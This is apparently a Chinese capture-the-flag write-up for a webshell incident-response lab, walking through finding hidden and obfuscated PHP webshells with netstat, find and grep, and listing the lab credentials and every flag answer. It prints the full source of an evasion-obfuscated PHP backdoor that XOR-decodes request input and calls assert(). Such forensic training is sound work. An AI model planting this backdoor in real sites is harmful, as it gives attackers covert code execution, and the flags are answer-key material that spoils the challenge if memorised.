简介
靶机账号:root
靶机密码:xjwebshell
问题
黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
黑客使用的什么工具的shell github地址的md5 flag{md5}
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
黑客免杀马完整路径 md5 flag{md5}
1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
查看网络发现开放了80端口
netstat -ano
查看端口对应应用知道了使用的web服务器为apache
netstat -anp
直接进入根目录,在Apache根目录发现文件shell.php,代码中没有特别的内容,也没有符合格式的字符串
搜索web目录下的php文件,看是否包含恶意函数,发现有三个文件中包含了恶意函数
find ./ -type f -name "*.php" | xargs grep "eval("
find ./ -type f -name "*.php" | xargs grep "assert("
查看文件源代码,在./include/gz.php中得到第一个flag
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
常用的Webshell连接工具主要就下面几款:
caidao,中国菜刀 AntSword,蚁剑 Behinder,冰蝎 Godzilla,哥斯拉
首先通过文件名gz.php可以联想到是Godzilla的缩写,但是用哥斯拉生成的webshell就只是普通的一句话,而这个webshell的代码格式有点像冰蝎
将两个 Webshell 的 github 地址 md5 加密后都提交试试
https://github.com/rebeyond/Behinder
https://github.com/BeichenDream/Godzilla
最后发现 flag 是哥斯拉的md5加密值
flag{39392de3218c333f794befef07ac9257}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
之前查恶意代码发现有一个文件是.Mysqli.php,用.作为开头的文件不会直接显示出来,可以确定这个是隐藏文件
对文件路径进行md5加密得到flag
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
4.黑客免杀马完整路径 md5 flag{md5}
查看apache日志,日志路径位于/var/log/apache2/access.log
可以看到有/wap/top.php?1=phpinfo()的请求,说明该文件可以执行任意函数
查看文件内容,发现确实是使用了字符串拼接进行免杀,代码中没有直接暴露的高危函数
<?php $key = "password"; //ERsDHgEUC1hI $fun = base64_decode($_GET['func']); for($i=0;$i<strlen($fun);$i++){ $fun[$i] = $fun[$i]^$key[$i+1&7]; } $a = "a"; $s = "s"; $c=$a.$s.$_GET["func2"]; $c($fun);
对代码进行解析,可以得知变量$c代表的是函数assert(),而变量$fun是传入的要执行的代码phpinfo()
根据flag的格式要求,对免杀马文件的绝对路径进行md5加密,就能得到flag
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}
flag
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}
flag{39392de3218c333f794befef07ac9257}
flag{aebac0e58cd6c5fad1695ee4d1ac1919}
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}